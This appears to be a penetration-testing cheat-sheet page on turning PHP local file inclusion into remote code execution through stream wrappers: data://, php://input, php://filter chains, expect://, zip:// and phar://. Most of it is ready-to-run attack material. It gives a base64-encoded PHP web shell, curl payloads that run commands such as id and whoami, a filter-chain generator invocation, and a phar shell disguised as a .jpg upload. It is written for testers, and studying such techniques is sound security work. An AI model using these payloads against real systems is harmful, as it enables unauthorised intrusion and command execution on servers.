PHP wrappers and streams

data://

The attribute allow_url_include must be set. This configuration can be checked in the php.ini file.

# Shell in base64 encoding
echo "<?php system($_GET['cmd']); ?>" | base64

# Accessing the log file via LFI
curl --user-agent "PENTEST" "$URL/?parameter=data://text/plain;base64,$SHELL_BASE64&cmd=id"
php://input

The attribute allow_url_include should be set. This configuration can be checked in the php.ini file.

# Testers should make sure to change the $URL
curl --user-agent "PENTEST" -s -X POST --data "<?php system('id'); ?>" "$URL?parameter=php://input"
php://filter

The filter wrapper doesn't require the allow_url_include to be set. This works on default PHP configuration allow_url_include=off.

# Testers should make sure to change the $URL, $FILTERS with the chaining that generates their payload and $FILE with the path to the file they can read.
curl --user-agent "PENTEST" "$URL?parameter=php://filter/$FILTERS/resource=$FILE"

The php_filter_chain_generator.py script (Python3) implements the generation of the PHP filters chaining.

# Example: generate <?=`$_GET[cmd]`;;?> (base64 value: PD89YCRfR0VUW2NtZF1gOzs/Pg) using /etc/passwd file to run whoami command on the target.

# Generate the payload 
python3 php_filter_chain_generator.py --chain '<?=`$_GET[cmd]`;;?>'

# Fill variables
FILTERS="convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|[...]|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode"
FILE="/etc/passwd"

# Get RCE on the target
curl --user-agent "PENTEST" "$URL?parameter=php://filter/$FILTERS/resource=$FILE&cmd=whoami"

Finding a valid path to a file on the target is not required. PHP wrappers like php://temp can be used instead.

The research article "PHP filters chain: What is it and how to use it" from Synacktiv, and the original writeup, go into the details of that technique.

expect://

The expect wrapper doesn't required the allow_url_include configuration, the expect extension is required instead.

curl --user-agent "PENTEST" -s "$URL/?parameter=expect://id"
zip://

The prerequisite for this method is to be able to upload a file.

echo "<?php system($_GET['cmd']); ?>" > payload.php
zip payload.zip payload.php

# Accessing the log file via LFI (the # identifier is URL-encoded)
curl --user-agent "PENTEST" "$URL/?parameter=zip://payload.zip%23payload.php&cmd=id"
phar://

The prerequisite for this method is to be able to upload a file.

<?php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');

$phar->stopBuffering();

The tester need to compile this script into a .phar file that when called would write a shell called shell.txt .

php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg

Now the tester has a phar file named shell.jpg and he can trigger it through the phar:// wrapper.

curl --user-agent "PENTEST" "$URL/?parameter=phar://./shell.jpg%2Fshell.txt&cmd=id"

Last updated